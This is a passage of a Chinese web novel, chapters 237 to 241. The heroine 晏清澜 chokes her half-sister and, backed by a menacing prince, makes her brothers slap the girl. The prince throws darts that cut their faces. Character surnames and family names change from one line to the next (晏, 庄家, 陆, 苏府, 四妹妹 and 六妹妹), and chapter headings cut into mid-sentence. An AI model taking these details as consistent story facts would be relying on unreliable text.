“殿下,您来得正好,我四妹妹她……她疯了!求您救救玥玥吧!” 晏远舟也急忙开口,语气那叫一个诚恳,可话里话外,却透着一股子道德绑架的味道。 “殿下,只有您能劝住她了!求您发发慈悲,救救我六妹妹吧!” 换了别人,说不定就真被他们架住了,顺势开口劝阻。 可童玄珏是吃这一套的人吗? 他出了名的冷血无情,不按常理出牌。 面对庄家兄弟的泪眼婆娑,他目不转睛地盯着前方。 他只是看着晏清澜,似乎在等着看她下一步会怎么做。 晏远舟见童玄珏不说话,心里更急了。 “殿下……” 他刚想再说。 “嗖——” 一枚飞镖,擦着他的脸颊飞了过去。 一道血痕,立刻出现在他脸上。 童玄珏连看都没看他一眼,声音冷得像冰: “闭嘴。” “二哥!” 晏雨珩吓了一跳,连忙去看晏远舟的伤势。 童玄珏手指一动,又是一枚飞镖。 这次,是晏雨珩。 飞镖同样擦着他的脸飞过,留下的伤口,比晏远舟的还要深。 差一点,就伤到眼睛了。 童玄珏手里把玩着一把小巧的匕首,刀尖在阳光下闪着寒光。 “本王最讨厌别人吵。” 他语气淡淡的,却让人不寒而栗。 “再有下次,就不是划破脸这么简单了。” 庄家兄弟被吓得一句话也不敢说了。 童玄珏这才把视线,落回到晏玥玥身上。 他微微挑眉,装模作样地问了一句: “这是……出什么事了?” 宋溪溪一看童玄珏这态度,就知道他跟她们是一伙的。 她立刻接话,拖长了声音: “嗨,还能怎么了?有人自己犯贱,非要挨顿打才舒服呗。”“据本王所知,晏四小姐向来以温婉娴静著称。” 童玄珏启唇,慢悠悠地吐出一句话,每一个字都像是精心打磨过的玉石,圆润却带着不容忽视的锋芒。 他微微支起上身,原本懒散的姿态也变得有几分兴味,似乎对接下来的发展很是期待。 “能让晏四小姐失态至此——”他故意停顿了一下,目光在晏清澜和晏玥玥之间来回扫视,像是在欣赏一出即将上演的好戏。 晏清澜闻言,放在膝上的手指微微蜷缩。 温婉娴静? 她险些控制不住自己上扬的嘴角。这位权倾朝野、杀伐果断的燕王殿下,怕是对“温婉娴静”这四个字有什么误解。 第二百三十七章 又或者,他只是单纯地想看戏? 晏清澜心思百转,面上却不动声色,只做出一副低眉顺眼的模样。 相比之下,晏玥玥的反应就激烈多了。 她像是被踩了尾巴的猫,猛地跳起来,指着童玄珏的鼻子尖叫: “你撒谎!她才不是什么温婉娴静!她就是个蛇蝎心肠的妒妇!” “我……”晏玥玥还想再骂,却被宋溪溪“啪”的一声打断。 宋溪溪直接拍案而起,茶盏里的水都溅了出来。 她瞪圆了眼睛,指着晏玥玥的鼻子,毫不客气地开怼: “我说晏六小姐,你的脸皮是城墙做的吗?这么厚!” “你哪来的自信,觉得我家阿清会嫉妒你?”宋溪溪双手叉腰,气势汹汹。 “嫉妒你什么?嫉妒你穿得像个花孔雀?还是嫉妒你说话嗲声嗲气,让人起鸡皮疙瘩?” 宋溪溪每说一句,就往前逼近一步,晏玥玥被她逼得连连后退,直到“砰”的一声撞到身后的椅子上。 “哦,我知道了!”宋溪溪突然做出一副恍然大悟的样子,还夸张地“哎呀”了一声。 “你该不会是嫉妒自己是个活的碧螺春精,或是‘矫揉造作’四个字投胎转世吧?” 宋溪溪这话一出,周围顿时响起一片倒吸凉气的声音。 这也太损了! 偏偏宋溪溪还说得一本正经,让人想反驳都不知道该从何说起。 晏玥玥更是被气得浑身发抖,一张脸涨成了猪肝色。 “你……你血口喷人!”她尖叫着,声音都破了音。 “我没有!是她嫉妒我!她就是羡慕我有父母宠着,有哥哥宠!”晏玥玥像是抓住了最后一根救命稻草,声嘶力竭地喊道。 宋溪溪简直要被她这副“全世界都欠我的”嘴脸给气笑了。 “停停停!”宋溪溪做了个暂停的手势,一脸无语地看着晏玥玥。 “我说晏六小姐,你是不是脑子进水了?我家阿清是没爹没娘,还是没哥哥疼了?用得着嫉妒你?” “你那些所谓的‘心肝宝贝’,在我们看来,一文不值!” 宋溪溪这话,可不仅仅是说给晏玥玥听的,更是说给在场的所有庄家人听的。 晏雨珩自认为是个好哥哥,可听到这话,脸色也变得难看起来。 他下意识地想要反驳,可话到嘴边,却又不知道该说些什么。 “阿清,”晏雨珩深吸一口气,强压下心头的怒火,转向晏清澜,“以前玥玥总说你欺负她,我以为只是小孩子之间的玩闹,没当回事。” 他顿了顿,语气中带着一丝难以掩饰的失望: “可现在看来,是我错了,错得离谱。” 晏雨珩看着晏清澜,眼神复杂。 “你一直认为我们厚此薄彼,觉得我们对你不好。究竟是我们哪点亏待你了?你摸着良心说,不就是你自己在作妖吗?” 他一边说着,一边下意识地去摸自己脸上的伤口,指尖传来的刺痛感,让他更加烦躁。 晏清澜只是淡淡地看了他一眼,那眼神,冷漠得像是在看一个毫不相干的陌生人。 宋明澜再也忍不住了,他“腾”地一下站起身,指着晏雨珩的鼻子怒吼: “放屁!你哪只眼睛看到我妹妹无理取闹了?!” 他气得浑身发抖,手背上青筋暴起,恨不得立刻冲上去把这个颠倒黑白的家伙揍一顿。 一直沉默不语的晏远舟,也终于开口了。 他走到晏清澜面前,脸上带着痛心疾首的表情: “阿清,二哥知道你心里有怨气。可你也不能这么作践自己啊!” “你这样伤害玥玥,只会让亲者痛仇者快,你明白吗?” 他苦口婆心地劝说着,每一个字似乎都饱含着对晏清澜的关切和担忧。 可晏清澜听了,只觉得一阵反胃。 作践自己? 她冷笑一声。 这些年来,到底是谁在作践谁? 她知道,晏远舟这番话,看似是在劝她,实际上是在说给宋明澜听的。 毕竟,宋明澜才是那个能真正护着她的人,也是庄家最忌惮的人。 童玄珏将这一切都看在眼里,他微微勾起唇角,露出一抹意味深长的笑容。 “既然晏四小姐心有不甘,不如就让往事重演一遍,如何?” 他突然开口,语气轻描淡写,却像是一颗石子投入平静的湖面,激起层层涟漪。 “往事重演?”宋明澜一愣,随即明白过来,眼睛瞬间亮了起来。 “好主意!”他大声叫好,兴奋地搓着手,“就这么办!” 宋溪溪也跟着起哄:“我双手赞成!这绝对是最好的办法!” 晏玥玥一听这话,顿时吓得魂飞魄散。 她尖叫着,声音嘶哑得像破锣: “不行!你们不能这么对我!我不要!” 晏雨珩更是想都没想就跳出来反对: “荒唐!玥玥是无辜的,凭什么要让她承受这些!” 他一边说着,一边狠狠地瞪了童玄珏一眼,那眼神,恨不得将他碎尸万段。 “这是我们庄家的家事,轮不到你一个外人指手画脚!” 晏远舟见状,连忙上前拉住晏雨珩,低声呵斥: “三弟!慎言!” 他心里暗骂晏雨珩愚蠢,难道不知道童玄珏是什么人吗? 竟敢当面顶撞他,不想活了吗? 晏远舟偷偷打量着童玄珏,见他脸上并没有明显的怒意,这才稍稍松了口气。 他定了定神,换上一副恭敬的表情,对童玄珏道: “燕王殿下,此事……” “此事甚好。”童玄珏打断晏远舟,直接定下基调。 他微微眯起眼睛,似笑非笑地看着庄家众人,眼神中带着一丝玩味和嘲弄。 “本王倒要看看,晏六小姐能‘享受’多久。” 童玄珏特意加重了“享受”二字的语气,让人听了不寒而栗。 晏远舟心头一凛,他突然意识到,自己可能低估了这位燕王殿下的心思。 他原以为,童玄珏只是想借机向陆家示好,或者利用晏清澜。 可现在看来,事情似乎并没有那么简单。 这位燕王殿下,或许是真的对晏清澜产生了兴趣? 晏远舟心中警铃大作,他必须重新评估晏清澜的价值,以及她与童玄珏之间的关系。 宋明澜可不管这些弯弯绕绕,他现在只想为妹妹讨回公道。 “阿清,”他走到晏清澜身边,语气坚定,“你放心,有哥哥在,以后再也不会有人敢欺负你!” 宋溪溪也拔出佩剑,剑尖直指晏雨珩,眼神凶狠: “谁敢再动你一根手指头,我就让他后悔来到这个世上!” 晏清澜看着眼前这两个为了自己不顾一切的人,心中涌起一股暖流。 她轻轻摇了摇头,示意宋溪溪收起剑: “溪溪,别冲动。 第二百三十八章 为这种人不值得。” 晏雨珩听到这话,脸色瞬间变得惨白如纸。 他张了张嘴,想说些什么,可喉咙却像是被什么东西堵住了,一个字也说不出来。 他呆呆地看着晏清澜,眼中充满了难以置信和痛苦。 “你……你这样还配当我妹妹吗?” 他颤抖着声音,问出了这句让他心如刀绞的话。晏雨珩如遭雷击。 他死死盯着晏清澜,嘴唇开开合合,像是被抽干了力气,一个字也说不出来。 记忆中,那个会为了给他做个香囊,扎得满手是血,却还仰着小脸,甜甜笑着说“哥哥我不疼”的四妹妹,怎么就变成了眼前这副模样? 冷漠、疏离,甚至……带着一丝他看不懂的恨意。 “四妹妹……” 他喃喃着,声音里满是不敢置信与……茫然。 晏清澜只是淡淡地扫了他一眼,连眼神都欠奉。 她又不是坏掉的留声机。 同一个问题,翻来覆去问个没完,是个人都会烦。 “听不懂人话?” 晏清澜眉心紧蹙,清冷的嗓音里夹杂着毫不掩饰的不耐。 “我说过很多次了,你那个四妹妹,早就死了。” 话音未落,她掐着晏玥玥脖颈的手指骤然收紧,指节泛白。 “唔……” 晏玥玥的脸色以肉眼可见的速度涨红,她拼命挣扎,喉咙里发出细碎的呜咽声,却怎么也挣不开那只铁钳般的手。 “你们——” 晏清澜冷漠的视线扫过庄家兄弟,像是在看两个无关紧要的物件。 “再废话,她就真的要去见她那短命的四妹妹了。” 她微微歪头,唇角勾起一抹极淡的弧度,明明是笑着的,却比寒冬腊月的冰雪更让人觉得冷。 “我这人,向来不喜欢让妹妹手上沾血。” 她顿了顿,语气轻柔,像是羽毛拂过心尖,说出的话却让人如坠冰窖。 “不过么,我弄死个人,倒是没什么心理负担。” “想试试?” 晏雨珩被这笑容刺得心脏一抽,他猛地攥紧了拳头,指甲深深嵌入掌心,带来一阵尖锐的刺痛。 “不要……” 他看着眼前这个熟悉又陌生的女子,只觉得一颗心像是被撕裂了般,痛得他几乎窒息。 “你放过玥玥,她还小,什么都不懂……” 他踉跄着上前一步,声音嘶哑,带着一丝不易察觉的颤抖。 “有什么事都冲着我来,你想怎么样都行……只求你……放过玥玥……” 晏远舟也收起了平日里的温润如玉,脸上是毫不掩饰的痛苦与焦急。 “阿清,我知道你心里有气,可玥玥是无辜的!” 他急切地看着晏清澜,声音里带着一丝恳求。 “二哥知道错了,以前都是二哥不好,你把气撒在二哥身上,好不好?” “你想怎么样都行,只要你能消气,只求你别伤害玥玥……” 他一边说着,一边小心翼翼地观察着晏清澜的神色,试图从她脸上找到一丝松动的痕迹。 哪怕只有一丝也好。 可晏清澜只是冷冷地看着他,那眼神,像是看着一个拙劣的戏子。 “呵……” 晏清澜轻嗤一声,嘴角勾起一抹嘲讽的弧度,眼底是毫不掩饰的轻蔑。 她毫不留情地戳穿了晏远舟的伪装。 “晏远舟,你不累吗?” 她一步步逼近,眼神锐利如刀,似乎要将他整个人都看穿。 “当面一套,背后一套,演戏给谁看?” “你这么能装,奥斯卡都欠你一座小金人。” “还是说,”晏清澜微微歪头,眼神里满是戏谑,“你已经演到自己都分不清真假,把自己都给骗了?” 宋明澜在一旁抱着胳膊,冷哼一声。 “有些人啊,就是喜欢活在自己的世界里,自欺欺人,还以为别人都是傻子。” “唔……” 晏玥玥被掐得几乎窒息,她双眼通红,死死地瞪着晏清澜,用尽全身力气,从喉咙里挤出一声尖叫。 “晏清澜!你这个贱人!我要杀了你!” “啪!啪!啪!” 童玄珏慢条斯理地鼓着掌,饶有兴致地看着眼前这一幕,像是在欣赏一出精彩绝伦的戏剧。 他微微挑眉,唇角勾起一抹玩味的笑容。 “真是精彩啊。” 他感叹着,语气里却听不出丝毫的感动,反倒带着一丝看热闹不嫌事大的意味。 “这出兄妹情深的戏码,看得本王都快要……拍手叫绝了。” 他顿了顿,目光扫过在场众人,最后落在晏清澜身上。 “这么一对比,咱们这位晏四姑娘,倒像是个……多余的人了。” 或许晏清澜自己并不在乎这些虚情假意。 但童玄珏却不这么想。 这只小狐狸平日里看着张牙舞爪,实际上却比谁都容易心软。 他心里莫名地涌起一股烦躁,总觉得应该为这只看着狡猾、实则心软的小狐狸做点什么。 “晏二公子。” 他慢悠悠地开口,目光落在了晏远舟身上,带着一丝若有若无的笑意。 “与其在这里低声下气地求她,倒不如玩点……刺激的。” 他微微一笑,笑容里带着一丝难以捉摸的意味。 “这样,本王给你们出个主意,既能救下这位晏六姑娘,又能让大家都……尽兴。” 晏玥玥原本还死死盯着晏清澜,闻言,猛地转头看向童玄珏,眼中闪过一丝希冀的光芒,像是抓住了最后一根救命稻草。 “燕王殿下!您有什么高见?快说啊!” 她尖声叫道,声音嘶哑,带着一丝急切与期盼。 童玄珏却不理她,只是似笑非笑地看着晏远舟。 “二哥!你听燕王殿下的!他一定有办法救我!” 她朝着晏远舟大喊,完全没注意到童玄珏眼底一闪而过的玩味。 这声“二哥”,瞬间取悦了童玄珏。 他慢悠悠地开口。 “这样,你们庄家不是最讲规矩吗?国有国法,家有家规,既然晏清澜不认你们,那不如,把族谱搬出来,当着祖宗的面,好好问问,她到底错没错?” 他微微一笑,眼神里满是兴味。 “如果她错了,你们就按家法处置。如果没错……” 他顿了顿,目光扫过晏玥玥,一字一句地说道。 “那就让她,亲手,处置你们。” 这番话一出,所有人都愣住了。 所有人都以为晏清澜会惊慌失措,谁知,她只是轻轻挑了下眉,眼底飞快地闪过一丝疑惑。 她不着痕迹地扫了童玄珏一眼,似乎不明白这人葫芦里卖的什么药。 竟然会主动提出帮她? 还把庄家族谱都搬出来了? 真是有趣。 晏清澜唇角微勾,饶有兴致地看向晏远舟。 此刻的晏远舟,正站在原地,脸色一阵青一阵白,额头上渗出细密的汗珠,显然是在犹豫。 第二百三十九章 晏清澜像是看穿了他的心思,红唇轻启,慢悠悠地开口。 “怎么,不敢?” “还是说,晏二公子怕了?怕搬出族谱,反而坐实了我这个‘外人’的身份?” 她笑眯眯地看着晏远舟,语气轻快,像是笃定了他不敢答应。 “放心,就算真要按家法处置,也轮不到你这个‘好二哥’动手。” “毕竟,你可是庄家未来的希望,怎么能脏了你的手呢?” 她微微歪头,眼神里带着一丝蛊惑,像是引诱人堕落的魔鬼。 “再说了,你不是一直标榜自己‘兄友妹恭’吗?怎么,现在连这点‘小事’都不敢答应?” “还是说,”晏清澜红唇微勾,吐出的话语如刀锋般锐利,“你所谓的兄妹情深,不过是……装模作样?” 最后几个字,她咬得极重,像是一把锋利的刀子,狠狠地刺进了晏远舟的心脏,将他虚伪的面具彻底撕碎。 晏远舟脸色骤变,一阵红一阵白。 他猛地抬头,看向晏清澜,眼中闪过一丝慌乱与……心虚。 可他很快就掩饰住了自己的情绪,强自镇定地开口。 “阿清,你别胡闹了。” 他试图用温和的语气来掩饰自己的心虚。 “家法岂能儿戏?这事要是传出去,对你的名声不好。” 他痛心疾首地看着晏清澜,仿佛真的是一个为了妹妹着想的好哥哥。 “二哥不能再纵容你了,今日,我必须让你知道,你错在了哪里。” 说着,他一甩衣袖,转身就走,做出一副大义灭亲的模样。 一旁的晏雨珩,只是目光呆滞地看着,竟也全然忘了,若是真搬出了家法,晏清澜该怎么办。 晏远舟一步步往前走,每一步都像是踩在刀尖上,痛得他浑身颤抖。 可他不敢停,也不能停。 他必须让晏清澜知道,他不是在开玩笑。 然而,就在他走出几步远的时候,身后忽然传来晏清澜清脆的笑声。 “晏远舟,你以为我真的什么都不知道吗?” 晏清澜的声音很轻,却像是一道惊雷,在晏远舟耳边炸响。 他猛地停下脚步,僵硬地转过身,看向晏清澜,只觉得一股寒意从脚底直窜头顶,冻得他浑身发麻。 晏清澜站在原地,微微仰着头,脸上带着明媚的笑容,那笑容,却让晏远舟觉得毛骨悚然。 “你不是一直想知道,我手里有什么吗?” 晏清澜笑眯眯地看着晏远舟,眼神里闪烁着狡黠的光芒。 “我告诉你,我手里,有你们庄家……所有人的把柄。” 她一步步逼近晏远舟,声音轻柔,却带着不容置疑的压迫感。 “包括你那个好娘亲,你那个宝贝妹妹,还有你……这个道貌岸然的‘好二哥’。” “如果我把这些东西都抖出来,你猜,你们庄家会怎么样?” “会不会……家破人亡?” “当然了,”晏清澜耸了耸肩,语气轻松,“你也可以认为我在信口开河。” 她脸上的笑容越发灿烂,眼神却越发冰冷,像是出鞘的利剑,锋芒毕露。 “晏远舟,你敢不敢……和我赌一把?” 晏远舟的脚步像是被钉在了地上,再也无法挪动分毫。 他看着晏清澜,只觉得一股寒意从脚底直窜头顶。 他忽然意识到,自己似乎从一开始就小看了这个六妹妹。 她根本就不是什么任人欺负的小白兔,而是一只狡猾的狐狸,早就布好了陷阱,等着他往里跳。 从始至终,晏清澜都表现得胸有成竹,显然是早有准备。 他不敢赌,也不能赌。 他输不起。 然而,晏玥玥却等不及了。 “二哥!你在干什么!快去把族谱搬出来啊!” 她尖叫着,声音里充满了焦急和催促,仿佛恨不得自己冲上去把族谱搬过来。 “你别听她的!她就是在吓唬你!快去啊!让她知道厉害!” 那模样,仿佛只要搬出族谱,就能把晏清澜置于死地。 晏清澜脸上的笑容更深了。 她甚至好心地催促道: “庄二哥,你还等什么呢?” “我也很好奇,为了你这个宝贝妹妹,你究竟能做到哪一步。” “还是说,你根本就不敢?” 她微微歪头,眼神里带着一丝玩味。 “据说你在国子监混得风生水起?可别因为这点‘小事’,就前功尽弃了。” 她轻轻拍了拍手,像是想起了什么。 “不如这样,我给你出个主意。” 晏清澜走到晏远舟面前,压低声音,用只有他们两个人才能听到的声音说道。 “你现在,立刻,马上,去把庄家的族谱搬出来。” 她顿了顿,看着晏远舟骤变的脸色,嘴角的笑容越发灿烂。 “然后,当着所有人的面,把我的名字……从族谱上划掉。” “从今往后,我晏清澜,和你们庄家,再无瓜葛。” 晏远舟猛地抬头,看向晏清澜,眼中充满了震惊和……不可置信。 他怎么也没想到,晏清澜竟然会提出这样的要求。 这简直……比杀了他还难受。 可晏清澜却不给他任何喘息的机会。 她微微挑眉,脸上露出一个温柔至极的笑容,但这笑容,却让晏远舟觉得不寒而栗。 “怎么,不愿意?” 晏清澜甚至还俏皮地眨了眨眼,语气轻快,像是笃定了晏远舟不敢拒绝。 “还是说,你舍不得我这个‘好妹妹’?” 她笑眯眯地看着庄家兄弟,语气轻快。 “既然舍不得,那就只能委屈你们了。” “这样吧,我也不为难你们。” 她顿了顿,目光落在晏玥玥身上,一字一句地说道。 “你们两个,一人给她一巴掌,这事儿,就算了了。”“贱人!你不得好死!” 尖锐的叫骂声几乎要刺破耳膜,晏玥玥五官扭曲,每一个字都像淬了毒的刀子。 她拼命挣扎,试图用那双已经软绵绵的手去抓挠晏清澜。 晏清澜眼神一凛,反手扣住她的手腕,轻轻一拧。 “啊——” 晏玥玥一声惨叫,像被瞬间抽走了所有力气,瘫软在地,瘫在原地一动不动。 “你这种人,死后一定下阿鼻地狱,永世不得超生!” 她眼眶通红,牙齿咬得咯咯作响,恨不得用目光将晏清澜生吞活剥。 “老天爷一定会降下天雷劈死你!” 用尽全身力气,她吼出这最后一句诅咒。 随后,她身子一软,颤抖着,费力地转向晏远舟,声音沙哑,带着哭腔哀求: “二哥,你别听她的!你去报官!把她抓起来,关进大牢!” 她急切地改变语气,试图唤醒晏远舟残存的理智。 这变脸的本事,倒是炉火纯青。 晏清澜只是冷眼旁观,唇边勾起一抹似有若无的冷笑。 第二百四十章 她的目光落在晏远舟身上,见他脸色阴沉得像暴风雨前的天空,双脚却像灌了铅一样,无法挪动分毫。 “晏二公子,还在犹豫什么?” 晏清澜朱唇轻启,声音虽轻,却带着一种不容抗拒的威压。 童玄珏在一旁,饶有兴致地转动着手中的玉扳指。 “两巴掌,换晏二公子和整个苏府的前程,这买卖,划算。” 他语气低沉,带着几分戏谑。 低沉的声音,像一记闷棍,狠狠敲在晏远舟心上。 晏远舟腰背一僵,缓缓低下了头,额上青筋隐隐跳动。 晏雨珩看着自家二哥,又看了看神色淡然的晏清澜,眼神复杂难辨。 他动了动嘴唇,想说什么,却最终什么也没说出口。 为什么阿清就不能退一步? 难道家人之间,哪有什么解决不了的事,非要闹到这个地步吗? 晏雨珩紧紧握住拳头,手背上青筋暴起。 “阿清,过去的情分,就真的一点都不重要了吗?” 他声音低沉,带着压抑不住的痛苦。 “过去的情分?” 晏清澜嗤笑一声,像是听到了天大的笑话。 “我和你们之间,哪来的情分?” 她微微扬起下巴,眼神中尽是嘲讽。 “晏雨珩,你怕不是还没睡醒吧?” 晏雨珩身形一晃,定定地看着晏清澜。 他的眼神中闪过一丝受伤,很快被愤怒所取代。 “晏清澜!你行!你真行!” 他猛地一挥衣袖,指着晏清澜,手指微微颤抖。 晏清澜却像没看见一样,连一个眼神都懒得给他。 童玄珏将目光从庄家兄弟身上收回,轻轻摇了摇头,叹了口气。 他打了个哈欠,似乎对这出闹剧已经提不起兴趣。 “你们这么耗下去,也不是个办法。” “罢了,既然如此,本王就大发慈悲,替晏二公子报官吧。” 他抬起手,似乎要叫人进来。 “慢着!” 一个低沉的声音,突兀地打断了他。 晏玥玥猛地抬起头,看向声音的来源——晏远舟。 他正一步一步,朝她走来,每一步都像踩在她的心尖上。 “二哥!你要干什么?你不会真的要听信那个贱人的鬼话,打我吧!” 晏玥玥瞪大了眼睛,声音里充满了恐惧和难以置信,甚至破了音。 “三哥!你倒是说句话啊,快拦住二哥啊!” 她尖叫着,向晏雨珩求助,声音已经带上了哭腔。 “从小到大,你们连我一根头发丝都没动过!就为了那个绿茶婊要对我动手?!” 她声音颤抖,带着哭腔,每一个字都像一把刀子,狠狠地扎在自己的心上。 曾经,二哥是那么疼她。 二哥说过,无论她要什么,都会给她。 晏玥玥猛地抬起头,死死地盯着晏远舟,眼底的愤怒和绝望交织。 她不信!晏远舟只是被晏清澜迷惑了,只要能证明晏清澜在撒谎…… “二哥,你听我说,我娘她……” 晏玥玥急切地开口,试图为自己的母亲辩解。 然而,晏远舟却仿佛根本没听见她的话,眼神空洞,脚步机械地朝她走来。 她的委屈,她的痛苦,在二哥眼里,难道真的比不上他的前程吗? 一股彻骨的寒意,从晏玥玥的脚底直窜上来,瞬间蔓延至四肢百骸。 她将最后的希望投向晏雨珩。 可晏雨珩只是神色复杂地看了晏清澜一眼,最终却别过头去,闭上了眼睛,长叹一声。 他知道,晏清澜看似给了选择,实际上他们根本无从选择。 晏雨珩咬紧牙关,他不能再让玥玥继续受苦。 与其无休止地纠缠,不如快刀斩乱麻。 两巴掌,总好过无尽的羞辱。 可他的苦心,晏玥玥又怎么会明白? 晏玥玥看着晏雨珩的反应,彻底崩溃了。 “你们、你们竟然真的要为了那个贱人打我?” 她声音嘶哑,带着无尽的悲凉和绝望。 什么最喜欢她、最疼爱她,都是骗人的鬼话! 全是在忽悠她! 晏玥玥身体剧烈地颤抖着,像风中飘零的落叶。 她死死地咬着嘴唇,指甲深深地刺进掌心的肉里,鲜血一滴滴落下。 曾经的山盟海誓,曾经的甜言蜜语,如今都成了笑话! 晏远舟和晏雨珩离她越来越近,脚步声像催命的鼓点,一声紧似一声。 她的心,被狠狠地践踏,碾碎,再也拼凑不回原来的模样。 晏清澜冷眼旁观,突然轻笑出声。 “呵。” 她轻轻地摇了摇头,嘴角的笑容带着几分嘲讽和不屑。 “我说,你们这两位‘好哥哥’,可别舍不得下手啊。” 晏清澜的声音很轻,却像一记耳光,狠狠地扇在庄家兄弟脸上。 “打轻了,我可不算数的。” 晏远舟的脚步微微一顿,但很快又继续向前走去。 他的脸色苍白,看不出任何表情。 晏雨珩的目光,像淬了毒的箭,狠狠地射向晏清澜。 “你最好祈祷自己别后悔!总有一天,你会付出代价的!” 他咬牙切齿,每一个字都像从牙缝里挤出来的,带着刻骨的恨意。 晏清澜却连眼皮都没抬一下,只是漫不经心地拨弄着自己的指甲。 “这个就不劳三公子费心了。” 她语气轻飘飘的,似乎根本没把晏雨珩的威胁放在心上。 童玄珏在一旁看着,唇角微微勾起一个玩味的弧度。 “打轻了,本王这儿也不算数。” 他淡淡地开口,语气中带着一丝不容置疑的威严。 晏玥玥只觉得一股绝望的怒火在胸腔里熊熊燃烧。 凭什么?凭什么晏清澜一回来,她的一切就都要被夺走? 她恨!她恨不得晏清澜立刻去死! “你为什么不去死?!” 晏玥玥尖叫出声,声音嘶哑得像破锣。 理智,在这一刻被彻底焚毁。 “当年你病得那么重,为什么不直接死了算了!” “啪!” 话音未落,一记响亮的耳光,狠狠地打在了晏玥玥的脸上。 出手的,是宋溪溪。 她不知何时站到了晏玥玥面前,杏眼圆睁,怒火中烧。 “玥玥郡主,你再说一遍试试?” 宋溪溪的声音冷冽如冰,每一个字都像一把锋利的刀子。 晏玥玥被打得一个趔趄,差点摔倒。 她捂着脸,难以置信地看着宋溪溪。 “你、你敢打我?” “打的就是你这张臭嘴!” 宋溪溪毫不示弱,冷冷地盯着她。 “你再敢诅咒阿清一句,我就撕烂你的嘴!” 晏雨珩和晏远舟都被这突如其来的变故惊呆了。 平日里,晏玥玥在他们面前,总是温柔乖巧,像一只温顺的小猫。 他们做梦也想不到,如此恶毒的诅咒,竟然会从她口中说出。 两人都愣在原地,一时之间竟不知该如何反应。 晏玥玥看着两个哥哥呆愣的表情,顿时慌了神。 第二百四十一章 “二哥,三哥,我……” 她想要解释,想要挽回,可话还没说出口,就被晏清澜打断了。 “我说,你们这是演哪一出呢?” 晏清澜打了个哈欠,懒洋洋地开口,打破了这凝滞的气氛。 “还打不打了?”“啪!啪!” 两记耳光,毫无预兆地在雅韵坊内炸响。 晏雨珩缓缓抬起手,指尖微颤。 他闭上眼,复又睁开,眸中情绪尽褪,只余一片漠然。 他将手掌停在半空,仿佛用尽全身力气,才让那手掌,落在了眼前那张曾被他视若珍宝的脸上。 一下,又一下。 清晰的耳光声,力道十足,毫不留情。 一旁的宋溪溪,忍不住缩了下脖子,心中暗忖:这晏三公子看着温文尔雅,动起手来,可真够吓人的。 和她不同,晏清澜只是闲闲地抱臂倚墙,唇角微勾,一副看戏的模样。 晏玥玥被打懵了。 她忘了哭,甚至忘了疼,只是睁大了双眼,定定地望着眼前的晏雨珩。 眼神空洞,像是无法相信,眼前这个对自己动手的人,竟然是平日里对她千依百顺的三哥。 “晏二公子,”晏清澜忽然开口,声音轻快,像是在讨论天气一般随意,“轮到你了。” 晏远舟的脸色,比锅底还黑。 他与晏雨珩不同,晏雨珩是真情流露,而他,纯粹是演不下去了。 他甚至开始后悔,方才晏雨珩是否演得太过火,以至于现在,他不得不更加卖力,才能勉强维持住这摇摇欲坠的兄妹情深。 “啪!啪!” 又是两声脆响,在空旷的房间内回荡,格外刺耳。 这两巴掌,像是两把利刃,深深刺入晏玥玥的心脏。 她仿佛能感觉到,有什么东西,正从伤口处缓缓流逝。 那是她对兄长们最后的信任,在此刻,被彻底击碎,化为齑粉。 晏清澜看着晏玥玥那张迅速红肿的脸,长久以来积压在心头的郁气,竟消散了不少。 她微微松手,晏玥玥便如失了线的木偶,软软地向前倒去。 “玥玥!” 晏雨珩和晏远舟惊呼一声,慌忙上前,一人一边扶住了她。 晏玥玥却像失了魂,目光呆滞,嘴唇翕动,却发不出任何声音。 她想不明白,真的想不明白。 为什么? 前一刻还对她百般呵护的兄长们,怎么会突然间变得如此冷酷,如此陌生? 二哥为了前程,不得不对她动手,她可以理解,哪怕不能接受,也能说服自己去接受。 可是三哥呢?他又是为了什么?难道仅仅是因为自己顶撞了晏清澜几句? 晏玥玥突然笑了,笑声凄厉,充满了自嘲与绝望。 她的好三哥,口口声声说宠爱,实际上呢? 她不过是稍稍冒犯了晏清澜,他就立刻变了脸,毫不犹豫地站在了晏清澜那边! 晏雨珩看着怀中面色苍白的晏玥玥,只觉得心如刀割。 他猛地抬头,看向不远处,那个始终置身事外的晏清澜,眼神冰冷,仿佛要将她生吞活剥。 冰冷的质问从晏雨珩的牙缝中挤出: “现在,你总该称心如意了?” 宋明澜眉头微皱,他向前一步,挡在了晏清澜身前,将她护在身后,隔绝了晏雨珩那要吃人一般的目光。 少年将军的气势瞬间迸发,凌厉的眼神如出鞘的利剑,让人不寒而栗。 “跳梁小丑,”宋明澜冷冷开口,声音低沉而有力,“也配在我妹妹面前放肆?” 他特意加重了“我妹妹”三个字的语气,如同一记响亮的耳光,狠狠抽在某些人的脸上。 晏雨珩脸色铁青,额头青筋暴起,他咬牙切齿地瞪着宋明澜,刚想破口大骂: “姓陆的,别以为你是……” 话未说完,一枚香囊,破空而来,不偏不倚,正好塞进了他的嘴里。 “闭嘴。” 童玄珏轻飘飘地开口,语气慵懒,仿佛只是随手拍死了一只苍蝇。 他的目光,轻描淡写地扫过宋明澜紧紧护着晏清澜的手,最终落在了晏雨珩那张狼狈不堪的脸上。 晏远舟见状,心头一惊,赶忙拉住晏雨珩的胳膊,示意他不要再冲动。 他深知童玄珏的脾性,喜怒无常,阴晴不定,若是惹恼了他,后果不堪设想。 晏雨珩虽然怒火中烧,却也知道轻重,只能硬生生地将这口气吞了回去。 三人互相搀扶着,狼狈地向外走去,背影萧瑟。 眼看着他们即将离开浮萍居,晏清澜忽然笑了。 “我还以为你们兄妹情深呢,终究是个空头支票。” 她语气轻快,带着几分嘲讽,几分不屑。 晏雨珩和晏远舟的脚步猛地一顿,仿佛被定身术定在了原地。 晏玥玥更是如遭雷击,脸色瞬间惨白如纸。 她死死地盯着晏清澜的背影,眼中交织着怨恨、不甘,以及……一丝恐惧。 突然,她感到一阵眩晕,胸口闷痛,眼前一黑,彻底失去了意识。 “玥玥!” 晏雨珩和晏远舟惊呼出声,顾不得其他,慌忙将她抱起,匆匆离去。 临走前,晏远舟回头看了晏清澜一眼,那一眼,意味深长。 晏清澜却只是无所谓地耸了耸肩,轻描淡写地说了句: “没劲。” 她转过身,却对上宋溪溪若有所思的眼神。 “怎么了?”晏清澜挑眉。 “没什么,”宋溪溪撇撇嘴,语气中带着几分不以为然,“只不过觉得,有些人啊,就是不见棺材不落泪。” 她说的“有些人”是谁,不言而喻。 一直以来,晏清澜并非没有给过晏玥玥机会,甚至有意无意地避开她,免得与她发生冲突。 奈何晏玥玥非要自讨苦吃,一次次地挑战她的底线。 “大哥。” 低沉的声音突然响起,打破了这短暂的沉默。 